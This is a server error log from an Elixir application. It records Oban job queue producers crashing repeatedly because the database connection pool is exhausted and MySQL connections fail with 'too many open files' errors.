    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:42:19.240470Z], limit: 5, uuid: "c46eff4f-8b6b-4cdd-9108-1d27d5591e00", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:42:19.240476Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.209830>, refresh_timer: #Reference<0.2525715032.1068236804.233223>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:42:31.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1083ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:42:19.239306Z], limit: 50, uuid: "8f81cf28-2653-4bc0-99c4-da4f4777539b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:42:19.239312Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.209829>, refresh_timer: #Reference<0.2525715032.1077411843.209787>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:42:31.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 887ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:42:19.239973Z], limit: 20, uuid: "144a5aff-b5ee-486b-ac06-16a7dd47b2f5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:42:19.239979Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.209832>, refresh_timer: #Reference<0.2525715032.1099169794.241478>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:42:31.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 832ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:42:19.240413Z], limit: 3, uuid: "d17f3089-ee47-4a91-934c-039a3d3b9193", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:42:19.240418Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.209831>, refresh_timer: #Reference<0.2525715032.1068236804.233219>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:42:31.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 827ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:42:19.239536Z], limit: 10, uuid: "21ed821e-a27b-466f-bf82-a14385a10a01", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:42:19.239541Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.209827>, refresh_timer: #Reference<0.2525715032.1077411843.209794>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:42:31.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 875ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:42:19.240012Z], limit: 5, uuid: "7be94772-e2d8-42de-9d22-d8d7c33290b2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:42:19.240017Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.209828>, refresh_timer: #Reference<0.2525715032.1077411843.209809>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:42:36.095000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:42:38.238000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:42:42.061000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:42:43.101000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:42:43.129000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:42:43.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1045ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:42:31.239694Z], limit: 3, uuid: "0daddf2d-08ea-46c5-a920-e696cf097a9b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:42:31.239698Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.241579>, refresh_timer: #Reference<0.2525715032.1099169794.241555>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:42:43.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 873ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:42:31.239442Z], limit: 5, uuid: "b07b8620-8917-488b-904e-635e5244d318", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:42:31.239449Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.210189>, refresh_timer: #Reference<0.2525715032.1068236804.233248>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:42:43.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 861ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:42:31.239834Z], limit: 10, uuid: "26de8824-eb9d-4f7f-9b5c-cff3d10a87cb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:42:31.239838Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.210190>, refresh_timer: #Reference<0.2525715032.1099169794.241560>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:42:43.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1037ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
